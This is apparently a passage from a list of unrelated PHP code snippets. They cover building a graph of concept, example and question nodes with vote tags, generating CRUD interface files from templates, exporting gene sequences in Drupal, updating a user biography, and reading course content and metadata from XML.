that node : id and name\n\t\t\t\t\t$exTagSum->id = \"EX_CON_TAG_\".$exConcept['id']; // this is unique\n\t\t\t\t\t$exTagSum->name = '['.$ex_con_votes['votesSumm'].']';\n\t\t\t\t\t\n\t\t\t\t\t// custom data attributes\n\t\t\t\t\t$exTagSum->setDataAttribute('$type', 'none');\n\t\t\t\t\t$exTagSum->setDataAttribute(\"elo\", \"Tag\");\n\t\t\t\t\t//$exTagSum->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$exTagSum->setDataAttribute(\"votes\", $ex_con_votes['votesMinus']. ' ['.$ex_con_votes['votesSumm'].'] '.$ex_con_votes['votesPlus']);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\t$exTagSumAdjency = new EloNodeAdjacency($exTagSum->id, $myConNode->id);\n\t\t\t\t\t\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t// add tag as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($exTagSumAdjency); \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * example node\n\t\t\t\t\t */\n\t\t\t\t\t$examplesIdsA= \"EX_\".$exConcept['Example']['id'];\n\t\t\t\t\t\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$exNode = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$exNode->id = \"EX_\".$exConcept['Example']['id'];\n\t\t\t\t\t$exNode->name = $exConcept['Example']['name'];\n\t\t\t\t\t$exNode->setDataAttribute('$type', 'triangle');\n\t\t\t\t\t$exNode->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$exNode->setDataAttribute('elo', 'Example');\n\t\t\t\t\t$exNode->setDataAttribute('ref_id', $exConcept['Example']['id']);\n\t\t\t\t\t$exNode->setDataAttribute('author', $exConcept['Example']['User']['display_name']);\n\t\t\t\t\t$exNode->setDataAttribute('content', $exConcept['Example']['content']);\n\t\t\t\t\t$exNode->setDataAttribute('media_content', $exConcept['Example']['media_content']);\n\n\t\t\t\t\t// check if it is a video\n\t\t\t\t\tif (preg_match(\"/video/i\", $exConcept['Example']['media_type']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$isVideo=\"1\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$isVideo=\"0\";\n\t\t\t\t\t}\n\t\t\t\t\t$exNode->setDataAttribute('is_video', $isVideo); \n\t\t\t\t\t\n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$exAdjency = new EloNodeAdjacency($exNode->id, $exTagSum->id);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add example as adjacencies of tag node\n\t\t\t\t\t\t$exTagSum->addAdjacency($exAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add tag node to collection \n\t\t\t\t\t\t$nodeLinkCollection[]=$exTagSum;\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$exAdjency = new EloNodeAdjacency($exNode->id, $myConNode->id);\n\t\t\t\t\t\t// add example as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($exAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// add example node to collection\n\t\t\t\t\t$nodeLinkCollection[]=$exNode;\n\n\t\t\t\t} // end loop example_concept\n\t\t\t\t\n\t\t\t} // end if examples\n\n\n\t\t\t///////////////////////////////////\n\t\t\t// find questions\n\t\t\t$quWhereFields = 'qc.run_id = ? AND qc.concept_id = ? AND q.is_published = ?';\n\t\t\t$quWhereData = array($_SESSION['run_id'],$concept->id,1);\n\t\t\t\n\t if($this->params['valueAA']!=\"\" && $this->params['valueBB']!=\"\" && $this->params['vizDate']==1)\n\t\t\t{\n\t\t\t\t$quWhereFields .= ' AND q.date_created BETWEEN ? AND ?';\n\t\t\t\t$quWhereData[] = date( 'Y-m-d H:i:s', $this->params['valueAA']);\n\t\t\t\t$quWhereData[] = date( 'Y-m-d H:i:s', $this->params['valueBB']);\n\t\t\t}\n\t\t\t\t\t\n\t\t\t$q1 = Doctrine_Query::create()\n\t\t\t\t->select (\"qc.id, q.id, q.name, q.content, q.media_content, u.display_name\")\n\t\t\t\t->from(\"QuestionConcept qc\")\n\t\t\t\t->innerJoin(\"qc.Question q\")\n\t\t\t\t->innerJoin(\"q.User u\")\n\t\t\t\t->where($quWhereFields, $quWhereData);\t\t\t\t\t\n\t\t\t$questions = $q1->fetchArray();\n\t\t\t\n\t\t\t// add questions attached to this concept\n\t\t\tif(isset($questions) && count($questions!=0) && $this->params['vizQu']==1)\n\t\t\t{\n\t\t\t\tforeach($questions as $quConcept)\n\t\t\t\t{\n\t\t\t\t\t// get votes for a question_concept\n\t\t\t\t\t$qu_con_votes = array();\n\t\t\t\t\t\n\t\t\t\t\t$qu_con_votes = $this->countVotes($quConcept['id'], 5);\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * Tag Node\n\t\t\t\t\t */\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$quTagSum = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$quTagSum->id = \"QU_CON_TAG_\".$quConcept['id']; // this is unique\n\t\t\t\t\t$quTagSum->name = '['.$qu_con_votes['votesSumm'].']';\n\t\t\t\t\t\n\t\t\t\t\t// custom data attributes\n\t\t\t\t\t$quTagSum->setDataAttribute('$type', 'none');\n\t\t\t\t\t$quTagSum->setDataAttribute(\"elo\", \"Tag\");\n\t\t\t\t\t//$quTagSum->setDataAttribute('$color', '#80B376');\n\t\t\t\t\t$quTagSum->setDataAttribute(\"votes\", $qu_con_votes['votesMinus']. ' ['.$qu_con_votes['votesSumm'].'] '.$qu_con_votes['votesPlus']);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\t$quTagSumAdjency = new EloNodeAdjacency($quTagSum->id, $myConNode->id);\n\t\t\t\t\t\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t// add tag as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($quTagSumAdjency); \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t/*\n\t\t\t\t\t * question node\n\t\t\t\t\t */\n\t\t\t\t\t// create tag node\n\t\t\t\t\t$quNode = new EloNode();\n\n\t\t\t\t\t// set vals for that node : id and name\n\t\t\t\t\t$quNode->id = \"QU_\".$quConcept['Question']['id'];\n\t\t\t\t\t$quNode->name = $quConcept['Question']['name'];\n\t\t\t\t\t$quNode->setDataAttribute('$type', 'triangle');\n\t\t\t\t\t$quNode->setDataAttribute('$color', '#D40015');\n\t\t\t\t\t$quNode->setDataAttribute('elo', 'Question');\n\t\t\t\t\t$quNode->setDataAttribute('ref_id', $quConcept['Question']['id']);\n\t\t\t\t\t$quNode->setDataAttribute('author', $quConcept['Question']['User']['display_name']);\n\t\t\t\t\t$quNode->setDataAttribute('content', $quConcept['Question']['content']);\n\t\t\t\t\t$quNode->setDataAttribute('media_content', $quConcept['Question']['media_content']);\n\n\t\t\t\t\t// check if it is a video\n\t\t\t\t\tif (preg_match(\"/video/i\", $quConcept['Question']['media_type']))\n\t\t\t\t\t{\n\t\t\t\t\t\t$isVideo=\"1\";\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$isVideo=\"0\";\n\t\t\t\t\t}\n\t\t\t\t\t$quNode->setDataAttribute('is_video', $isVideo); \n\t\t\t\t\t\n\t\t\t\t\t// create Adjacency Object\n\t\t\t\t\tif ($this->params['vizVo']==1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$quAdjency = new EloNodeAdjacency($quNode->id, $quTagSum->id);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add question as adjacencies of tag node\n\t\t\t\t\t\t$quTagSum->addAdjacency($quAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t\t// add tag node to collection \n\t\t\t\t\t\t$nodeLinkCollection[]=$quTagSum;\n\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$quAdjency = new EloNodeAdjacency($quNode->id, $myConNode->id);\n\t\t\t\t\t\t// add question as adjacencies of concept node\n\t\t\t\t\t\t$myConNode->addAdjacency($quAdjency);\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// add question node to collection\n\t\t\t\t\t$nodeLinkCollection[]=$quNode;\n\n\n\t\t\t\t} // end loop question_concept\n\t\t\t\t\n\t\t\t}\n\t\t\t///////////////////////////////////\n\t\t\t\n\t // add concept to collection\n\t $nodeLinkCollection[]=$myConNode;\n\t \n } // end loop concepts\n\n // add home node to collection \n $nodeLinkCollection[]=$myHomeNode;\n \n return json_encode($nodeLinkCollection);\n\t\t\n }", "abstract function getdescription();", "function cl_tfd_bpamagnetico() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tfd_bpamagnetico\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "abstract public function getDescription();", "abstract public function getDescription();", "public function geraInterface(){\n # Abre o template da classe basica e armazena conteudo do modelo\n $modeloAdm = Util::getConteudoTemplate($this->gui.'/Modelo.adm.tpl');\n $modeloCad = Util::getConteudoTemplate($this->gui.'/Modelo.cad.tpl');\n $modeloEdit = Util::getConteudoTemplate($this->gui.'/Modelo.edit.tpl');\n\n $dir = '';\n\n # Abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n\n # Varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n // === Nao gerar interface de tabelas n:m\n if((string)$aTabela['TIPO_TABELA'] == 'N:M')\n continue;\n\n $copiaModeloAdm = $modeloAdm;\n $copiaModeloCad = $modeloCad;\n $copiaModeloEdit = $modeloEdit;\n\n $nomeClasse\t = ucfirst($this->getCamelMode((string)$aTabela['NOME']));\n $objetoClasse = \"\\$o$nomeClasse\";\n\n # Varre a estrutura dos campos da tabela em questao\n $aPKRequest = $aCampoPK = $aCampoCad = $aCampoEdit = $aTituloAdm = $aCampoAdm = $aGetAll = array();\n $PK = $ID_PK = $label = $campoAdm = $componenteCad = $componenteEdit = NULL;\n\n foreach($aTabela as $oCampo){\n $nomeFKClasse = ucfirst($this->getCamelMode((string)$oCampo->FKTABELA));\n //$label = ((string)$oCampo->FKCAMPO != '') ? ucfirst(preg_replace(\"#^(?:id_?|cd_?)(.*?)#is\", \"$1\", (string)$oCampo->NOME)) : \n $label = ((string)$oCampo->FKCAMPO != '') ? $nomeFKClasse :\n ucfirst(str_replace((string)$aTabela['NOME'], \"\", (string)$oCampo->NOME));\n\n $campoAdm = ((string)$oCampo->FKCAMPO != '') ? $objetoClasse.\"->o$label\".\"->\".$this->getTituloCombo((string)$oCampo->FKTABELA) :\n $objetoClasse.\"->$oCampo->NOME\";\n\n if((int)$oCampo->CHAVE == 1){\n $aPKRequest[] = \"\\$_REQUEST['{$oCampo->NOME}']\";\n $aCampoPK[] = Form::geraHidden((string)$oCampo->NOME);\n\n if((string)$oCampo->FKTABELA != ''){ // Tabela cuja PK = FK => Relacao 1:1\n $PK = \"o$nomeFKClasse\".\"->\".$oCampo->FKCAMPO;\n $ID_PK = $oCampo->FKCAMPO;\n\n //print \"($objetoClasse, {$oCampo->NOME}, $label, $nomeFKClasse, \".$this->getTituloCombo((string)$oCampo->FKTABELA).\", 'CAD')\\n\";\n $componenteCad = Form::geraSelect($objetoClasse, (string)$oCampo->NOME, $label, $oCampo->FKCAMPO, $this->getTituloCombo((string)$oCampo->FKTABELA), 'CAD', $this->gui);\n $componenteEdit = Form::geraSelect($objetoClasse, (string)$oCampo->NOME, $label, $oCampo->FKCAMPO, $this->getTituloCombo((string)$oCampo->FKTABELA), 'EDIT', $this->gui);\n\n } else {\n $PK = (string)$oCampo->NOME;\n $ID_PK = (string)$oCampo->NOME;\n }\n } else {\n switch((string)$oCampo->TIPO){\n case \"date\":\n $componenteCad = Form::geraCalendario($objetoClasse, (string)$oCampo->NOME, $label, 'CAD');\n $componenteEdit = Form::geraCalendario($objetoClasse, (string)$oCampo->NOME, $label, 'EDIT');\n $campoAdm = Form::geraCalendario($objetoClasse, (string)$oCampo->NOME, $label, 'ADM');\n break;\n\n case \"datetime\":\n case \"timestamp\":\n $componenteCad = Form::geraCalendarioDataHora($objetoClasse, (string)$oCampo->NOME, $label, 'CAD');\n $componenteEdit = Form::geraCalendarioDataHora($objetoClasse, (string)$oCampo->NOME, $label, 'EDIT');\n $campoAdm = Form::geraCalendarioDataHora($objetoClasse, (string)$oCampo->NOME, $label, 'ADM');\n break;\n\n case \"text\": \n $componenteCad = Form::geraTextArea($objetoClasse, (string)$oCampo->NOME, $label, 'CAD', $this->gui);\n $componenteEdit = Form::geraTextArea($objetoClasse, (string)$oCampo->NOME, $label, 'EDIT', $this->gui);\n break;\n\n case \"tinyint(1)\": \n $componenteCad = Form::geraCheckBox($objetoClasse, (string)$oCampo->NOME, $label, 'CAD', $this->gui);\n $componenteEdit = Form::geraCheckBox($objetoClasse, (string)$oCampo->NOME, $label, 'EDIT', $this->gui);\n break;\n\n default:\n if($oCampo->FKCAMPO != ''){\n $componenteCad = Form::geraSelect($objetoClasse, (string)$oCampo->NOME, $label, $oCampo->FKCAMPO, $this->getTituloCombo((string)$oCampo->FKTABELA), 'CAD', $this->gui);\n $componenteEdit = Form::geraSelect($objetoClasse, (string)$oCampo->NOME, $label, $oCampo->FKCAMPO, $this->getTituloCombo((string)$oCampo->FKTABELA), 'EDIT', $this->gui);\n }\n else{\n $componenteCad = (preg_match(\"#(?:senha|password)#is\", $oCampo->NOME)) ? \n Form::geraPassword($objetoClasse, (string)$oCampo->NOME, $label, 'CAD', $this->gui) :\n Form::geraInput($objetoClasse, (string)$oCampo->NOME, $label, 'CAD', (string)$oCampo->TIPO, $this->gui);\n\n $componenteEdit = (preg_match(\"#(?:senha|password)#is\", $oCampo->NOME)) ? \n Form::geraPassword($objetoClasse, (string)$oCampo->NOME, $label, 'EDIT', $this->gui) :\n Form::geraInput($objetoClasse, (string)$oCampo->NOME, $label, 'EDIT', (string)$oCampo->TIPO, $this->gui);\n }\n # ============ Campo Enum =============\n if(preg_match(\"#enum#i\", (string)$oCampo->TIPO)){\n $componenteCad = Form::geraEnum($objetoClasse, (string)$oCampo->NOME, (string)$oCampo->TIPO, $label, 'CAD', $this->gui);\n $componenteEdit = Form::geraEnum($objetoClasse, (string)$oCampo->NOME, (string)$oCampo->TIPO, $label, 'EDIT', $this->gui);\t\n } \n break;\n }\n }\n $aCampoCad[] = $componenteCad;\n $aCampoEdit[] = $componenteEdit;\n $aTituloAdm[] = \"<th>$label</th>\";\n $aCampoAdm[] = \"<td><?=$campoAdm?></td>\";\n }\n\n # ===== Montar lista dos metodos Carregar Colecao =======\n $aTabelaFK = $this->retornaTabelasFK((string)$aTabela['NOME']);\n\n foreach($aTabelaFK as $oCampoFK => $oDadosTabelaFK){\n $nomeClasseFK\t = ucfirst($this->getCamelMode($oDadosTabelaFK['FKTABELA']));\n $nomeObjetoFK\t = ucfirst(preg_replace(\"#^(?:id_?|cd_?)(.*?)#is\", \"$1\", $oCampoFK));\n $aGetAll[] = \"\\$a$nomeClasseFK = \\$oControle->getAll$nomeClasseFK();\"; \n }\n\n # monta demais valores a serem substituidos\n $sPKRequest = join($aPKRequest, \", \");\n $sTituloAdm = join($aTituloAdm, \"\\n\\t\\t\\t\");\n $sCampoAdm = join($aCampoAdm, \"\\n\\t\\t\\t\");\n $sCampoCad = join($aCampoCad, \"\\n\");\n $sCampoEdit = join($aCampoEdit, \"\\n\");\n $sCampoPK = join($aCampoPK, \"\\n\");\n $sGetAll = (count($aGetAll)>0) ? join($aGetAll,\"\\n\") : \"\";\n\n # substitui todas os parametros pelas variaveis ja processadas\n $copiaModeloAdm = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModeloAdm);\n $copiaModeloAdm = str_replace('%%TITULOATRIBUTOS%%', $sTituloAdm, $copiaModeloAdm);\n $copiaModeloAdm = str_replace('%%VALORATRIBUTOS%%', $sCampoAdm, $copiaModeloAdm);\n $copiaModeloAdm = str_replace('%%ADM_EDIT%%', \t (($PK != '') ? Form::geraAdmEdit($nomeClasse, $ID_PK, $PK, $this->gui) : ''), $copiaModeloAdm);\n $copiaModeloAdm = str_replace('%%ADM_DELETE%%', (($PK != '') ? Form::geraAdmDelete($nomeClasse, $ID_PK, $PK, $this->gui) : ''), $copiaModeloAdm);\n\n /* ========= 2 devido as colunas Editar e Excluir ============= */\n $copiaModeloAdm = str_replace('%%NUMERO_COLUNAS%%', count($aTituloAdm)+2, $copiaModeloAdm);\n $copiaModeloAdm = str_replace('%%PK_REQUEST%%', $sPKRequest, $copiaModeloAdm);\t\t\t\n\n $copiaModeloCad = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModeloCad);\n $copiaModeloCad = str_replace('%%CARREGA_COLECAO%%', $sGetAll, $copiaModeloCad);\n $copiaModeloCad = str_replace('%%ATRIBUICAO%%', $sCampoCad, $copiaModeloCad);\n\n $copiaModeloEdit = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModeloEdit);\n $copiaModeloEdit = str_replace('%%CARREGA_COLECAO%%', $sGetAll, $copiaModeloEdit);\n $copiaModeloEdit = str_replace('%%ATRIBUICAO%%', $sCampoEdit, $copiaModeloEdit);\n $copiaModeloEdit = str_replace('%%CHAVE_PRIMARIA%%', $sCampoPK, $copiaModeloEdit);\n $copiaModeloEdit = str_replace('%%PK%%', $PK, $copiaModeloEdit);\n $copiaModeloEdit = str_replace('%%ID_PK%%', $ID_PK, $copiaModeloEdit);\n\n $dir = dirname(dirname(__FILE__)).\"/geradas/\".$this->projeto.\"/\";\n\n if(!file_exists($dir)) mkdir($dir);\n\n $fpAdm = fopen(\"$dir/adm$nomeClasse.php\", \"w\"); fputs($fpAdm, $copiaModeloAdm); fclose($fpAdm);\n $fpCad = fopen(\"$dir/cad$nomeClasse.php\", \"w\"); fputs($fpCad, $copiaModeloCad); fclose($fpCad);\n $fpEdit = fopen(\"$dir/edit$nomeClasse.php\", \"w\"); fputs($fpEdit, $copiaModeloEdit); fclose($fpEdit);\n\n // ======= Limpa arrays ======= \n unset($aGetAll);\n unset($aTituloAdm);\n unset($aCampoAdm);\n unset($aCampoCad);\n unset($aCampoEdit);\n unset($aPKRequest);\n unset($aCampoPK);\n }\n\n # ==== Alterar arquivo index =====\n $modeloIndex = Util::getConteudoTemplate($this->gui.'/index.php');\n $modeloIndex = str_replace('%%PROJETO%%', ucfirst($aBanco['NOME']), $modeloIndex);\n\n $fpIndex = fopen(\"$dir/index.php\", \"w\");\n fputs($fpIndex, $modeloIndex); \n fclose($fpIndex);\n \n # ============== Arquivo de titulo ===================\n $modeloTitulo = Util::getConteudoTemplate($this->gui.'/Modelo.titulo.tpl');\n $modeloTitulo = str_replace('%%DATABASE%%', ucfirst($aBanco['NOME']), $modeloTitulo);\n\n $fpTitulo = fopen($dir.\"includes/titulo.php\", \"w\");\n fputs($fpTitulo, $modeloTitulo); \n fclose($fpTitulo);\n \n // ========= Copiar arquivos adicionais do projeto ========\n copy(dirname(dirname(__FILE__)).\"/templates/{$this->gui}/resIndex.php\", \"$dir/resIndex.php\");\n copy(dirname(dirname(__FILE__)).\"/templates/{$this->gui}/principal.php\", \"$dir/principal.php\");\n copy(dirname(dirname(__FILE__)).\"/templates/{$this->gui}/logoff.php\", \"$dir/logoff.php\");\n\n return true;\t\n }", "public function imprimeCaracteristicas()\n\t{\n\t\techo \"<br />--------------------------------\\n\";\n\t\techo \"<br />Juego para: \".$this->consola.\"\\n\";\n\t\t//ejecutamos la funciona \"imprimeCaracteristicas()\" de la clase\n\t\t// extendida \"soporte\"\n\t\tparent::imprimeCaracteristicas();\n\t\techo \"<br />\".$this->devolverJugadoresPosibles().\"\\n\";\n\t\techo \"<br />--------------------------------\\n\";\n\t}", "public function bio(){\n // return Auth::user()->id;\n return view('mybio');\n }", "function metaInit () {\n $this->imageMeta = new ImageMeta($this->getImagePath());\n $this->imageMeta->getMeta();\n }", "public function __construct() {\n $this -> fichier = new Fichier(\"../contributeurs\", false);\n }", "function d3jspie_generateur_autoriser(){}", "function getOGRole();", "function getOGRole();", "function geneshop_polypeptides() {\n module_load_include('inc', 'tripal_feature', 'tripal_feature.api');\n $sql = '\n SELECT FRM.subject_id as feature_id\n FROM {gene} G\n INNER JOIN {feature_relationship} FRM ON FRM.object_id = G.gene_id\n INNER JOIN {chado_feature} CHF ON CHF.feature_id = gene_id\n WHERE chf.nid = :nid\n ';\n $data = '';\n foreach ($_SESSION['basket']['items'] as $nid => $value) {\n $args = array(':nid' => $nid);\n $result = db_query($sql, $args)->fetchObject();\n $feature_id = $result->feature_id;\n $sequence = array();\n $sequence = tripal_get_feature_sequences(\n array(\n 'feature_id' => $feature_id,\n ),\n array(\n 'aggregate' => 1,\n 'relationship_type' => 'derives_from',\n 'relationship_part' => 'object',\n 'is_html' => 0\n )\n );\n if (count($sequence)>0) {\n $data .= \">\".$sequence[0][defline].\"\\n\";\n if ($sequence[0]['residues']) { //if there are sequences in residues\n $sequence[0]['residues'] = strtoupper($sequence[0]['residues']);\n $data .= $sequence[0]['residues'].\"\\n\";\n }\n }\n }\n drupal_add_http_header('Content-Type: text/plain');\n print $data;\n drupal_exit();\n}", "public function editBiography(string $content, string $id){\n\n if(!$content){\n $content = null;\n }\n\n $queryUpdate = \"UPDATE users SET biography=? WHERE id=?\";\n \n $db = DBConnection::getConnection();\n $stmt = $db->prepare($queryUpdate);\n $exito = $stmt->execute([$content, $id]);\n \n if(!$exito) {\n throw new Exception('No se pudo editar la biografia');\n }\n\n return true;\n }", "abstract public function setMetas();", "protected function getBio()\n\t{\n\t\treturn apply_filters('the_author_description', $this->rawDescription, $this->id);\n\t}", "public function lectureContenu ()\n {\n\n //$metadata = simplexml_load_file(\"xmoddledata/metadata.xml\");\n\n // on Vérifie si le cours existe\n\n /* @TODO Partie à décommenter lorsque le module de navigation sera intégré au reste de l'application */\n\n // $nbrCours = $metadata->attributes()->nbrCours;\n // $isFound = false;\n // $i = 0;\n // for ($i = 0; $i < $nbrCours; $i++) {\n // if ($metadata->cours[$i]->attributes()->title == $title && $metadata->cours[$i]->attributes()->id == $id) {\n // $isFound = true;\n // break;\n // }\n // }\n\n // if ($isFound) {\n //$cours = simplexml_load_file(\"xmoddledata/\" . $metadata->cours[$i]->attributes()->id . \"_\" . $metadata->cours[$i]->attributes()->title . \"/description.xml\"); \n\n $description = simplexml_load_file('xmoddledata/2_ModeleDeSupport2/description.xml');\n $notions = simplexml_load_file('xmoddledata/2_ModeleDeSupport2/descriptionNotions.xml');\n\n // Création d'un tableau associatif de notions avec l'id comme clé\n\n $notionsArray = $this->getNotions($notions);\n\n // Construction de la navigation\n $text_parties = \"\";\n $nav_parties = [];\n for ($i = 0; $i < $description->attributes()->nbrParties; $i++) {\n $text_parties = \"<div style='\";\n $text_parties .= $this->getStyle($description->partie[$i]->attributes());\n $text_parties .= \"'\";\n $text_parties .= \" id='\".$i.\"'>\";\n $nav_chapitres = [];\n $text_parties .= $description->partie[$i]->attributes()->title;\n $text_parties .= \"</div>\";\n $text_parties .= \"<br/><br/>\";\n $text_chapitres = \"\";\n for ($j = 0; $j < $description->partie[$i]->attributes()->nbrChapitres; $j++) {\n $text_chapitres .= \"<div style='\";\n $text_chapitres .= $this->getStyle($description->partie[$i]->chapitre[$j]->attributes());\n $text_chapitres .= \"'\";\n $text_chapitres .= \" id='\".$i.\"_\".$j.\"'>\";\n $nav_paragraphes = [];\n $text_chapitres .= $description->partie[$i]->chapitre[$j]->attributes()->title;\n $text_chapitres .= \"</div>\";\n $text_chapitres .= \"<br/><br/>\";\n $text_paragraphes = \"\";\n for ($k = 0; $k < $description->partie[$i]->chapitre[$j]->attributes()->nbrParagraphes; $k++) {\n // On renseigne le titre du paragraphe\n $text_paragraphes .= \"<div style='\";\n $text_paragraphes .= $this->getStyle($description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes());\n $text_paragraphes .= \"'\";\n // Ajout d'un ancre de navigation\n $text_paragraphes .= \" id='\".$i.\"_\".$j.\"_\".$k.\"'>\";\n $text_paragraphes .= $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->title;\n $text_paragraphes .= \"</div>\";\n $text_paragraphes .= \"<br/>\";\n // Navigation avec paragraphes\n $nav_paragraphes[\"\".$i.\"_\".$j.\"_\".$k] = $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->title;\n // On remplit les notions contenus dans le paragraphe\n for ($l = 0; $l < $description->partie[$i]->chapitre[$j]->paragraphe[$k]->attributes()->nbrNotions; $l++) {\n $text_paragraphes .= $notionsArray[\"\".$description->partie[$i]->chapitre[$j]->paragraphe[$k]->notion[$l]->attributes()->id];\n }\n }\n $text_chapitres .= $text_paragraphes;\n $nav_chapitres[\"\".$i.\"_\".$j] = $nav_paragraphes;\n }\n $text_parties .= $text_chapitres;\n $nav_parties[\"\".$i] = $nav_chapitres;\n }\n// dd($nav_parties);\n// dd($navigation);\n// dd($description);\n\n // Construction de la page web\n $titre = $description->attributes()->title;\n// dd($description);\n// forearch( $navigation->partie[] as $partie) {\n// dd($pantie);\n// }\n// dd($titre);\n\n\n // $notions = simplexml_load_file(\"../../../fichiersdestructuration/descriptionNotions.xml\");\n\n\n // $nbrNotions = $cours->attributes()->nbrNotions;\n // $notionsConvertis = array();\n // for ($i = 0; $i < $nbrNotions; $i++) {\n // $attributs = $cours->notion[$i]->attributes();\n // $style = \"\";\n // if ($attributs['font-weight'] != null) {\n // $style .= 'font-weight:' . $attributs['font-weight'] . \";\";\n // }\n // if ($attributs['font-size'] != null) {\n // $style .= 'font-size:' . $attributs['font-size'] . \";\";\n // }\n\n // if ($attributs['font-family'] != null) {\n // $style .= 'font-family:' . $attributs['font-family'] . \";\";\n // }\n\n // if ($attributs['color'] != null) {\n // $style .= 'color:' . $attributs['color'] . \";\";\n // }\n\n // if ($attributs['text-decoration'] != null) {\n // $style .= 'text-decoration:' . $attributs['text-decoration'] . \";\";\n // }\n\n // $text = \"\";\n // foreach ($cours->notion[$i]->children() as $child) {\n // $text .= $child->asXML();\n // }\n // $notionHtml = \"<div style='\";\n // $notionHtml .= $style;\n // $notionHtml .= \"'>\";\n // $notionHtml .= $text;\n // $notionHtml .= \"</div>\";\n\n\n // //dd(strval($text));\n // array_push($notionsConvertis, $notionHtml);\n\n // }\n // }else{\n // return view(\"/\");\n // }\n //$notions = $notionsConvertis;\n // return response()->json($notions,200);\n\n // return \"lecture cours\";\n return 0;\n }", "protected function readMetaData(&$xmlArr)\n {\n parent::readMetaData($xmlArr);\n $this->myPrivateImg = isset($xmlArr[\"ATTRIBUTES\"][\"MYPRIVATEIMG\"]) ? $xmlArr[\"ATTRIBUTES\"][\"MYPRIVATEIMG\"] : \"{OPENBIZ_RESOURCE_URL}/common/images/icon_data_private.gif\";\n $this->mySharedImg = isset($xmlArr[\"ATTRIBUTES\"][\"MYSHAREDIMG\"]) ? $xmlArr[\"ATTRIBUTES\"][\"MYSHAREDIMG\"] : \"{OPENBIZ_RESOURCE_URL}/common/images/icon_data_shared.gif\";\n $this->myAssignedImg = isset($xmlArr[\"ATTRIBUTES\"][\"MYASSIGNEDIMG\"]) ? $xmlArr[\"ATTRIBUTES\"][\"MYASSIGNEDIMG\"] : \"{OPENBIZ_RESOURCE_URL}/common/images/icon_data_assigned.gif\";\n $this->myDistributedImg = isset($xmlArr[\"ATTRIBUTES\"][\"MYDISTRIBUTEDIMG\"]) ? $xmlArr[\"ATTRIBUTES\"][\"MYDISTRIBUTEDIMG\"] : \"{OPENBIZ_RESOURCE_URL}/common/images/icon_data_distributed.gif\";\n $this->groupSharedImg = isset($xmlArr[\"ATTRIBUTES\"][\"GROUPSHAREDIMG\"]) ? $xmlArr[\"ATTRIBUTES\"][\"GROUPSHAREDIMG\"] : \"{OPENBIZ_RESOURCE_URL}/common/images/icon_data_shared_group.gif\";\n $this->otherSharedImg = isset($xmlArr[\"ATTRIBUTES\"][\"OTHERSHAREDIMG\"]) ? $xmlArr[\"ATTRIBUTES\"][\"OTHERSHAREDIMG\"] : \"{OPENBIZ_RESOURCE_URL}/common/images/icon_data_shared_other.gif\";\n $this->defaultImg = isset($xmlArr[\"ATTRIBUTES\"][\"DEFAULTIMG\"]) ? $xmlArr[\"ATTRIBUTES\"][\"DEFAULTIMG\"] : \"{OPENBIZ_RESOURCE_URL}/common/images/icon_data_shared_other.gif\";\n\n $this->recordCreatorId = isset($xmlArr[\"ATTRIBUTES\"][\"CREATORID\"]) ? $xmlArr[\"ATTRIBUTES\"][\"CREATORID\"] : null;\n $this->recordOwnerId = isset($xmlArr[\"ATTRIBUTES\"][\"OWNERID\"]) ? $xmlArr[\"ATTRIBUTES\"][\"OWNERID\"] : null;\n $this->recordGroupId = isset($xmlArr[\"ATTRIBUTES\"][\"GROUPID\"]) ? $xmlArr[\"ATTRIBUTES\"][\"GROUPID\"] : null;\n $this->recordGroupPerm = isset($xmlArr[\"ATTRIBUTES\"][\"GROUPPERM\"]) ? $xmlArr[\"ATTRIBUTES\"][\"GROUPPERM\"] : null;\n $this->recordOtherPerm = isset($xmlArr[\"ATTRIBUTES\"][\"OTHERPERM\"]) ? $xmlArr[\"ATTRIBUTES\"][\"OTHERPERM\"] : null;\n\n 